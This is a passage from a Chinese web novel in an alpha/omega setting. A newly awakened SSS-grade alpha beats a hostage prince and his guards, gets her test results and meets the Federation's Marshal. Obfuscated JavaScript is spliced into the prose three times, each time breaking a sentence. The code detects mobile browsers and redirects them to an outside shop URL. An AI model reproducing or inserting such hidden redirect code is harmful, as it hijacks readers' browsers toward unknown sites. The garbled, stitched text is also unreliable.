是笑意盈盈的乔蕴年。小殿下那副受了刺激,因为不可置信而微微扭曲的表情让她感到非常愉悦。 “那是马修,你是什么?” “……吉斯蒂。” 乔蕴年对她勾了勾手指,好像猫捉老鼠:“还没结束呢,吉斯蒂。别为了不重要的场外因素分心。”不忘继续明里暗里打击小殿下的自信心。 什么尊贵不尊贵,“尊贵”这个可笑的词,早就被她玩烂了。 观察着局势,吉斯蒂已经做好为小殿下战斗到最后一刻的准备。 这种四面楚歌的感觉已经很久都没有了,而站在她面前的这个人,毋庸置疑是个身经百战的战士,还是最为可怕的那一种。 她似乎孑然一身,没有任何牵绊,所以可以尽可能地享受流血。自己的,更是别人的。 伊西多尔虽见过血腥场面,但他受不了亲近的人被殴打至面目全非:“别打了!……我说,停下来!” 依旧是命令的口气。乔蕴年依旧没有收手的迹象,伊西多尔遂咬咬牙,牙龈似乎都要被咬出血,终于一狠心冲进两个人之间——他不能任由这个人伤害自己的两个近卫,这两个陪他一起长大的家人。 就是挨一下,他也认了。“是我的错,都是我的错,不要再打了!”如是说的同时,伊西多尔因为害怕情不自禁闭上眼睛。 缓缓爬起来、正准备偷袭乔蕴年的马修何曾见过主人大声承认错误的场景,不禁失声:“殿下……!” “你确实错了。”乔蕴年先是三两下将吉斯蒂撂倒在地,随后给了马修一脚,轻描淡写好像踢石子,却能把他直接踢到角落里去,就像驱赶一只软弱的垃圾袋,“我以为我已经解释得非常明白了,或者你的眼睛没有瞎,看得出来当时的我非常虚弱。” 伊西多尔毕竟是王子,此刻睁开一只眼,还想要辩解一二:“你现在哪里虚——啊!” 劲风袭来。伊西多尔的脸瞬间被打到向左侧偏去,燃烧的剧痛不仅让他的脸颊迅速高肿起鲜艳的红色,而且打出了鼻涕和血。 耳鸣夹带眩晕,一切都变得乱七八糟。 乔蕴年甚至是收着力的,不到五成吧。要是真打到五官错位,就成大麻烦了。 嘀嗒。血液滴在地板上。 伊西多尔站在原地,愣住了。 “不能仅仅是他们受伤,小王子。他们是你的爪牙,主要是你发号施令。” 对方好歹有张清新脱俗的好脸,乔蕴年耐心解释道,“既然你冲出来了,总得承受一部分。毕竟,你的嘴皮子在我眼里可一点都不金贵。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483137|201863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她已经很仁慈了,换到从前…… 伊西多尔缓缓转过头。 乔蕴年正在擦拭嘴角有些干涸的血迹,眼眸微微低垂,刚完成捕猎的狮子似的。伊西多尔在故国便养了一头狮子,吃了不少罪人的血肉,对陌生人嗜血,对他温顺。 伊西多尔总是避免直接看见狮子在牢笼中进食的场面,狮子亦习惯吃饭的时候见不到主人。但他面前的这一头,伊西多尔敢笃定,如果他拒绝观看,她会硬生生把他的脸掰过来。 就在对上视线的那一刻,她对他弯起眼睛笑了笑。 不是为了后知后觉对权贵表示善意,好躲避什么,而是乔蕴年对自己实在满意。 这股诱人的欢畅感……她怎么会变的这么强悍呢? 不行,完全控制不住笑意啊。 血液干涸许久,擦不太干净,乔蕴年干脆不擦了,手握在门把手上:“我真的得走了,外面还有很多人等着我。”等着看她有多强。 也是这时,颤颤巍巍先后站起的吉斯蒂和马修意识到更为恐怖的一点:从头到尾,乔蕴年都没有离开过门前。她最开始的目标仅仅是离开这里而已,而他们是在自讨苦吃。 但是,当务之急是确认殿下的伤势。两个人也顾不上乔蕴年开门又关门,纷纷凑近伊西多尔察看他的伤势。 他们都是beta,不知道更隐秘处究竟发生了什么,只一味惊呼乔蕴年胆大包天,竟敢对帝国的皇室成员出手。 只有伊西多尔蜷起身体,双腿微微夹紧,像是浸在池塘里,吞吐着只有他一个人能品尝味道的羞耻。 一片淋漓的潮湿。 ……明明只是很淡的荷露香而已。 伊西多尔发着愣,在搀扶下什么都没有说出口,默不作声掉了眼泪,仿佛撕裂的蚌壳。 但这些对乔蕴年都不重要,重要的是她刚摸出祭殿,正准备原路返回,解琤的父亲便先一步带着人出现。 “我一直都很配合,没有跑。”乔蕴年直接表达了自己的意愿,“只是小殿下那里来人,不得不多跑了一趟。” 解议长怎能看不出乔蕴年刚才经历了一场战斗,恐怕是跟伊西多尔带过来的护卫,一时间只觉得天旋地转——他该如何交待。 “不过您放心,我已经都处理好了。就是不知道解琤那里怎么样。” “……我以为你会第一时间问起你的家人,乔小姐。” 乔蕴年有被他意外到,满脸理所当然:“他们当然好好的。连吴峻都好好的,对吧。” 在她周身弥散开来的,毫无疑问是游刃有余到让人不自觉想要追随的强者气质。 “我们赶紧走吧,解议长。早点出结果,您也能早点安心。”她笑眯眯着,在自己的世界里自娱自乐,完全不在乎别人怎么看,“毕竟您是解琤的父亲,我还是很尊敬您的。” 解议长从来没有跟这样的人打过交道,不禁深呼吸一口气,再然后发问:“……你对伊西多尔殿下做了什么?知道这个,能让我更安心一点。” “从他的非法囚禁中逃了出来,仅此而已。” 在乔蕴年眼里,那根本不是个王子,是个助纣为虐不成、先一步兴师问罪的小畜生。 这一次只是打脸,如果有机会的话,她会让他感受什么叫“累到五脏六腑被挤压,在濒死边缘喘不上气”。总会让她找到机会的,只要她不忘记这份仇恨。 至于吴峻,他已经被判了死刑,可以直接忽略不计。所有的事,不过是在为他最后怎么死加入筹码而已。 解议长不再开口,等到拐进崭新的走廊,止步于尽头的临时化验室外。 “我就在这里等候,乔小姐。” 作为政客的嗅觉让解议长不多对乔蕴年指手画脚,保持礼貌距离。 乔蕴年走进去前,对他莞尔:“麻烦您代替我向解琤问好。我很关心令郎。” 交代完,她才走进去。 13. 第十三章 “您还好吗?请您使用这张湿手帕,用完直接扔到回收桶里面就行。……噢,这是我的私人物品,不是医疗用品。” “乔小姐,其他不用做什么,您只需要站在这上面就行。我们会指示您尽可能地释放精神力,您只需要照着做,我们最后会告知您结果。” 手帕微潮,有香味拂面,上面仿佛还残留着被beta攥握在手里的余温。 “多谢。只是一些无伤大雅的‘番茄酱’而已,我并没有受伤。” 她擦拭嘴角的同时,眼带好意地注视面前对她展示善意的beta。他们穿着屏蔽自身精神力以确保检测结果真实可信的防护服,只能露出眼睛周围的一小块皮肤。 尽管如此,乔蕴年还是发现他脸红了,像青涩的小番茄。 擦拭干净血迹,乔蕴年站上一个银白色的圆形机器里面,还不忘说着“科技真的能改变生活”的俏皮话,对几个beta检测人员打招呼:“麻烦你们了,庆典期间还得加班。” 她对基层的工作人员没有任何意见,心里的尺度比跟平常打交道的贵族子弟宽松很多,并没有那般睚眦必报。 “这是我们的分内之事,乔小姐不用挂心。” “……好的,请乔小姐尽可能地释放精神力。” 检测人员坐在显示屏前,屏幕上是乔蕴年数据化的身体。她不由得感到心惊,同时有股说不出的兴奋:这样的身体数据,她从来没有见过,联邦真是后继有人了。 一大片象征着活跃的火红色有如热焰燎原,滚滚热浪一波接一波,红得能刺伤眼睛。正是这种活跃,唤醒了这具躯体。 尤其是在乔蕴年释放过精神力,更让人惊叹了:数据开始波动,不断地、不断地向上攀升,红色的人形示意图也在以可怕的速度越来越红,红得要滴血、红得发黑—— “……好了。请您下来。” 乔蕴年欣然绕行到检测人身边:“我可以看这个吗?” “当然可以。您看这个人形图,它可以透视您的身体状况,彰显您的细胞活性。您身上没有任何经alpha标记的痕迹,至于您的细胞活性,我只在教科书上看到过一次。” “是谁?” 工作人员的眼睛里瞬间迸发出无比仰慕的光彩:“邢元帅。元帅是联邦历史上唯一一名精神力是SSS的alpha。” 乔蕴年对此不置可否。她虽然厌恶和谁并列第一,这样就好像她不得不因为各种其他原因屈居第二,但这次她可以接受。 “这里的数据呢。”乔蕴年指着屏幕上的信息继续询问。 精神力高的人,尤其是alpha,总容易让别人感觉到“被这种人领导是我的荣幸”,因此眼前的beta继续热切地对乔蕴年做着说明。 总而言之是一些更细致的信息,每条都在说明乔蕴年作为一个青春期还未远去的alpha所具有的特征:精力旺盛,五感得到加强,体力耐力均是顶尖水平,肌肉尚未结实地覆盖完全就已经拥有了以一挡多的能力,以及恢复速度极快,极其适合作为“战争机器”被投入使用。 另一位beta特意走到屏幕前来:“乔小姐,这是您的检查结果。” 乔蕴年下意识想要结果纸质报告,结果来人伸出手,露出特制的纯白色智脑。仅仅是一挥,晶体相互接触,虚空中便展现出一张数据汇总报告。 工作人员贴心道:“这份报告我设置了权限,仅能乔小姐您和您的家人能够察看,我看不到。” “您可以走了,或者您想要休息一下的话,这里有一些营养补剂……” 乔蕴年一抬手:“不用了,谢谢。” 她三两行浏览完所有信息,发现结论栏显示自己“因未知原因二次分化成alpha”,唇角勾起微笑——这就是她想要的结果,想要的证明。 是的,她的人生从这一刻才算真的开始。 收起报告,乔蕴年同几人告别:“我就不在这里给你们添麻烦了,希望你们能早点结束今天的突发工作。” 而等她离开后,几个原先还能冷静投入工作的beta像是一下子获得了某种自由,激烈地聊起天来。 并非专业性不足够,实在是这种案例太过罕见,偏偏乔蕴年又表现出了极高的容忍和体谅,实在是让他们兴奋不已。 “天哪,3S级别的alpha!我刚才跟她说话的时候都觉得腿软。” “你好歹跟她说话了,我连话都不敢说,只是对上视线我都觉得心脏跳得好快。” “上一个3S的alpha还是元帅……你们说,乔小姐会喜欢beta吗?” “喂喂喂,咱们还在岗位上呢,你就春心荡漾了?收收味儿行不行。” “解议长的妻子就是beta。乔小姐那么有风度的一个人,自己还做过omega,应该只要优秀就可以吧?……” 至于乔蕴年,她已经成功和解琤会面。虽然解议长不在,被叫去述职,但是还有解琤的母亲等着她。 这位被尊称为纪工、设计的机甲和各类机械已然载入联邦历史的女性beta,对待乔蕴年的态度有些微妙。她很热情,也很体贴,但乔蕴年总觉得她的善意里面掺杂着难以说清道理的惶恐与畏惧,像是在害怕什么被发现。 “我可以叫你小乔吗?……阿琤醒来后第一时间问起你的情况,我宽慰了他好久,他才相信你一切都好。” 这种情况也难怪。乔蕴年把解琤抱到内室休息的时候,他正处于一种半梦半醒的状态,虽然能够沟通,但是完全清醒后对当时的情境有所遗忘也很正常。 乔蕴年笑着道:“他应该多关心关心自己,毕竟那时的情况真的很严峻。”她询问道,“解琤完全发|情的时候,似乎一直在我耳边念叨‘烫’‘好痛’之类的话。alpha会这样吗?” 她毕竟活到过二十八岁,又因为跟不同种类的人都打过交道,不可避免地眼光敏锐,对人性的洞察有自己的自信。 ——就比如现在,眼前的女人好像打了很久的腹稿,如今迫不及待那这套说辞应对她。 “阿琤小时候生过一场大病,而且他的信息素比较特别,再加上双S的精神力多少有负累,所以留下了后遗症,完全发|情的时候跟别的alpha不太一样。” “原来如此。”乔蕴年作出一副迅速被她说服的模样。 到了临时休息室外,纪泊溪立刻闭上嘴,乔蕴年也沉默下来,推开门。 在这个世界初见他时,那种因为身高体型不可避免造成的被俯视感在此刻烟消云散。毕竟与其记住这个,不如记住解琤如何在被她公主抱起时搂住她的脖颈、在她要去叫医生的时候扯住她的衣角,以及现在。 坐在病床上,翻阅着蓝色晶体投射出的电子文本,与此同时似乎还在回复谁的消息,却不再精神活跃、给人以举足轻重之感,眉眼沾染幽游人间的病气。 明明长相属于厚重的雕塑型,现在却从许多张描摹其华美俊逸的画板围起来的正中央退居角落,磕了、碰了,以及沾上灰尘了,都没人问。 乔蕴年推开门后,还没走近,先装模作样察看自己的智脑:“是在给我发消息吗?可我没有收到,‘阿琤’。” 在纪泊溪眼里,从来沉稳到冷漠,各类人际关系经营得非常好却无法获得交心朋友的儿子,一看到乔蕴年脸色便陡然一变。 是她作为母亲几乎从没有见过的、在意到不得了的局促小心。 “是学校里的事务,级长的工作还没有完成好。”解琤第一时间解释,心脏漏掉一拍,装作根本没注意到那个过分亲昵的称呼——确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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糊涂,太糊涂了。退一万步说,交朋友还是可以的,但纪泊溪怎么能看不出来,这段关系里解琤上赶着的成分太多了,是他要往乔蕴年身上靠。 思绪凌乱之际,解琤对她开口:“母亲,假如乔蕴年要入学首都校,能否将她直接安排到四年级就读呢?她肯定可以胜任四年级的任务,只是初来乍到会有点陌生。” 都望到这么远的地方了!纪泊溪真是恨铁不成钢,她儿子的脑子呢,怎么一下子就变成蠢货了! 乔蕴年作为由omega二次分化成alpha、精神力完成从地到天转变的第一例,作为议长的丈夫会怎么汇报、元帅会怎么想、军部会怎样执行元帅的想法……这中间的程序会非常复杂,目前还没有一件真正定下来,他就开始想一起上学的事情了!糊涂! 解琤眼神一凛,纪泊溪还以为他终于想到里面的复杂性,结果解琤要关心的是另一件:“你怎么和布伦切尼殿下起的冲突?” “没什么,我已经都处理好了。” 乔蕴年回答得依旧很含糊,就跟回答解琤的父亲一趟。她正在看智脑上弹出来的新消息,乔仲雷问她在哪里,元帅要见她。现在、马上。 不是通过解议长,亦不是比乔家高几个级别的吴家人,只因为乔蕴年自己争气,让整个乔家都变的荣耀,所以元帅直接派人递话给他这个父亲。 现在乔仲雷找到她,字里行间全是毫不吝啬的褒奖,作为父亲的自豪,结尾处言辞慷慨,让吴峻这个从前做什么都很顺眼的女婿“从此有多远滚多远”。 他很灵活,如今俨然是要换一种经营乔蕴年的方式,竟然自己打自己的脸,“突然地”意识到吴峻跟良配相差十万八千里。 乔蕴年在心中冷笑,面上平和,迫不及待起身道:“阿姨,我得先走了,这后面还有很多事要处理。解琤,你先休息,有些事不用操之过急。” 跟她一样是SSS级的alpha啊…… 她还真有点说不出的期待。 14. 第十四章 下了车,乔蕴年在随从的引领下走进并不算宽敞的元帅府邸,才知道此处并非办公区域,而是她私人居所的其中一处。这几日星兰节祭典办得如火如荼,元帅选择歇息在这里,“就算出了事也不至于鞭长莫及”。 外观上好像岩灰色的洞穴,有种刻意仿古的拙朴,并且追寻的时间跨度已经不是一百年、两百年前那么近,好像要回到人类历史正式落笔的开端。 但不可否认的是,乔蕴年还没有走进去,只是在外面匆匆看了几眼,便平静下来。住在里面恐怕只会更甚。 这是不是在对她做样子呢? 旧贵族以及得势者的伎俩,没有一万、也有五千了,乔蕴年见过太多。 不过放在此刻,一个掌握权势的元帅选择在她面前做做样子,营造出恳切的领导者形象,很值得玩味。 至少她被重视了,而这绝对算是一个好的开始。乔蕴年如是想。 乌鸦一般黑漆漆的beta随从寸步不离,是引导,也是一种隐晦的监视:“乔小姐,元帅这里有请。” 走过幽暗的长廊,倒数第二间门打开时,乔蕴年终于得见邢元帅真面目。 一位穿着灰色罩衫,和整座府邸一样好像铅色石块的老妪。面部纵横着沧桑的纹路,一百八十岁的高龄存在感不言自明;而在山丘沟壑围困之处,一双眼睛却沉淀出非同寻常的亮,如同荡涤雾气的天光。 开口时话音无比沉稳,“阿枭,离开时帮我把门带上,一个小时内不许有任何人靠近。谢谢。” 至此只剩下两个人。若说她是想趁自己尚未成熟置于死地,乔蕴年也是愿意相信的。但她大概率有一战之力,没有对方想象中那般稚嫩,甚至更残忍、更果断一点。只因乔蕴年从来没有将手牌一次性全都暴露的习惯。 “乔小姐,坐下来休息一下吧。从参加庆典直到现在,你似乎一刻都没得闲。” 乔蕴年笑纳,并不准备见缝插针展示自己的恭敬:“您看得不错,我的家人给我造成了不少麻烦。” 元帅似乎只是来问问她的婚姻状况,随意地聊一些生活问题:“有没有想过换一个未婚夫?你马上肯定是要进入首都校的,要是狄蕾尔学院里恰好有一名能够照顾你的omega,也能帮你适应新生活。” 这是迫不及待要给她点甜头,想用特殊优待增强她的稳定性吗? “元帅,您的考量对我来说有点太快了。”类似的情形在这一世上演,乔蕴年觉得这种呼应颇有意趣,但她很喜欢这种“小心翼翼”,“就在前不久,我才刚从狄蕾尔学院退学,脑袋还没有转过弯来呢。” 元帅若有所思地点点头,倒是很开明:“如果有中意的beta或者alpha,也可以。” 她道:“我只知道现在这个,我不太中意。” “之后我会让解议长给你一个解释。”元帅答应得相当快,就好像把自己当做了一个有求必应的慈母,“至于小殿下那里,你不用太过在意,殿下身边配备了最好的医生。” 她的消息很灵通,俨然知道乔蕴年对他本人动了手,眼下是在表达对乔蕴年的宽解。 乔蕴年直言不讳:“他是帝国的质子吗?今天似乎是您所率领的那场战争胜利的纪念日。”她微笑着直视这位领导者,“让小殿下担任祭司,这主意是您想的吗?” 让作为战败国小王子的伊西多尔担任这次星兰节祭典的祭司,无疑是一种踩在帝国脸上的羞辱行为。可怜的小王子,被打扮得漂漂亮亮的在庆典现场播撒蝴蝶,内心不知道有多耻辱呢。 ——但他什么都做不到,所能依仗的也不过是那两个beta侍从而已。 他真该学乖一点的,至少在她清楚他在联邦究竟是何处境之前不要二次触怒她,这样她日后还能够仁慈一点。现在新仇旧恨叠加在一起,他又在各种层面的孤立无援,很难不激起乔蕴年的玩弄心理。 元帅慈祥地一哂:“星兰节在联邦是很重要的节日,一年一度,庆典规模如此盛大,此举不过是想让远道而来的帝国皇室一道感受我们国家的风土人情而已。” “殿下在这里做客,恐怕得持续一段时间。我跟总统已经商量好,这次庆典以后安排他入学狄蕾尔学院,也算是丰富一下他的生活。” 乔蕴年笑了。她已经回答得很清楚,而她也已经很明白了。 看来帝国国力已然式微,不像联邦依旧如日中天。伊西多尔作为被帝国安放在联邦的质子,并没有收到大规模的欢迎仪式,甚至权贵阶层也只有部分知道他的存在,因此乔蕴年可以用一个更难听的说法形容他——“表示和睦的礼物”。 “或许我能跟他说得上话。”乔蕴年表现得积极,“我曾在狄蕾尔读过书,就算现在转到首都校去,两所学校平时能互通有无,也能见面。” 元帅抚掌:“那再好不过了,小殿下适宜交些新朋友。” 不如说,这亦是元帅此次召见乔蕴年的目的之一。在她看来,联邦小贵族出身的乔蕴年一朝分化成alpha,虽然精神力达到了恐怖的SSS,但心理状态和处境没有及时跟上步调,需要她提供大展身手的平台,是相对更好争取的那一个;至于来自帝国的小王子,心肯定不如乔蕴年安分,但是其孱弱的第二性别以及母国不管不顾的态度都能成为突破口。 若能通过一段感情、一桩婚事一次性安顿下来两个不确定因素,将会大大节省日后各方面的支出。 然而在跟乔蕴年的交谈过程中,元帅对这个主意渐渐有了顾虑。 在乔蕴年身上,她根本没办法感受到一种“不匹配感”。骤然从被鄙夷的、精神力羸弱的omega身份转换为历史上唯二精神力为3S的alpha,乔蕴年这个人应当还没有习惯这一巨大的扭转,习以为常的小心和低调应当伴随左右,就像在阴雨天气时常发冷发涨的旧伤一样。她应该会有一种不真切的错位感才对。 但当乔蕴年真的出现在她面前,她会觉得这是一个天生的alpha,被活跃的、强悍的、独属于alpha的特性召唤着,低吟“理应如此”。一切不过是回到正轨上而已,而她已经做好准备,或许得以一场喋血的报复作为开端。 这样的话,她的施恩就会大打折扣,甚至滋生出截然相反的隐患。元帅不动声色心想,仍需要长时间的观察确认,究竟能不能为她所用。 “好了,孩子,你先回去吧。接下来审问嫌疑人的时候可能会再传唤你,其他时间就都用来准备入学吧。” 乔蕴年得到了某种提醒,没着急走,而是撑住下颚,以仰望姿态对她眨了眨眼睛:“我还想要小小地请求您一件事。” 她都差点忘了,作为孩子是有点特权的。所谓童言无忌的特权,通过仰望与喝彩获得一些东西的特权。 扮演一个政治嗅觉敏锐,但因为涉世不深、对长辈和荣耀有着无限向往的小朋友,是可以帮她度过不确定性很强的初期的。 元帅:“你提。” “我想直接从四年级开始读。”乔蕴年笑得非常灿烂,“我记得,元帅您当初也跳了级。” “噢,是的。但我怎么觉得,你似乎有别的原因。” “解琤是我的朋友!就是解议长的儿子。” 元帅了然:“我知道小解先生,是个很有品格的好青年。解议长很会教养孩子。” 恐怕并不是他父亲的功劳。 乔蕴年笑而不语:“这次我们可是倒霉到一处去了,这也算是某种程度上的、作为‘好朋友’的命运吧。”她满含期待地看向这位联邦真正的一把手,就像无数个参观陈列馆的年轻学生那样,“所以,我们可以做同学吗?” 元帅被她讨巧的模样逗笑了,鹰隼般的眼眸真正柔和下来,此刻表现的真的像个上了年纪的老奶奶:“孩子,你现在也是个alpha了,还是3S级别的alpha,怎么不提点别的。” 跟个会荡着家人的胳膊央求说“我今天要去其他小朋友家里玩,可不可以嘛”的小朋友一样。 要是真提了,你又不高兴,她又不是傻子。“但这就是我现在最真切的想法嘛,我连爸爸妈妈都没有告诉呢。”乔蕴年用天真而热切的目光注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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是什么?如果是恋爱的话,也是需要报告的内容,毕竟他们要拿捏的是一个顶级alpha,必须见缝插针、在各方面准备。 刚好乔蕴年没有设置仅自己可见的权限,阿枭定睛一看,发现漂浮起来的文字显示的是有关元帅经历的传记。年轻女孩就这样一手捧着脸,一手投放文章,看得津津有味,跟那么多的“元帅迷”没什么两样。 被元帅的魅力折服也是人之常情。阿枭心里其实并不能够接受那样伟大的人物,竟然出了第二个——至少从第二性别和精神力看,再怎么心不甘情不愿,乔蕴年都出现了。 “请代我感谢元帅。” “你是叫阿枭,对吧?也谢谢你。拜拜!” 哼。轻浮的年轻人。心底如是不屑,阿枭仍克制不住对乔蕴年产生些许好意。 就算是做过相关的训练,工作经验亦算得上历经千帆,依旧克制不住,觉得她的一言一行、一颦一笑都在闪闪发光,只会拥有光明的未来而不必品尝苦涩的阴影。 在难以言喻的情绪紊乱中,忠诚的乌鸦忽视了女孩转过身时变的无比冷静的表情,而那属于另一个历经千帆的成年女性。 既然要演戏,就得演全套点。每个人都有自己喜欢听的好话,那些除了逆耳忠言很难被糊弄的纯臣,其实也只是喜欢听另一种好话而已。 而她仅仅是作为一个暂时性的下位者,采取了必要的手段罢了。 …… “我回来了。” “念念!天哪,真是我们念念。” 乔蕴年回应了祝心莲的拥抱,就好像真的是那个尽量做到有求必应的原身一样:“妈妈,真的是我。我刚才见过元帅了。” 乔仲雷在旁边干站着,也想要给乔蕴年一个拥抱,已经张开到一半的手臂却被忽略了。 但这也不重要。乔仲雷有点心急,他都没有单独面见过元帅,乔蕴年又从那位大人手里交换了什么、拿过了什么? “元帅怎么说?有没有问责你?” “哦,就是我马上要入学首都校了。”乔蕴年理所当然道,“问责什么?不应该问责吴家吗,或者解议长处理不及时。爸爸,你都没掺合进去,何谈摘不摘出来呢。” 自己都要入学了,她总觉得吴峻离被退学也不远了。 不。不能让他这么轻松。待在学校这个又稚嫩、又野蛮的斗兽场,待在她乔蕴年即将掌握在手里的游戏场,才好呢。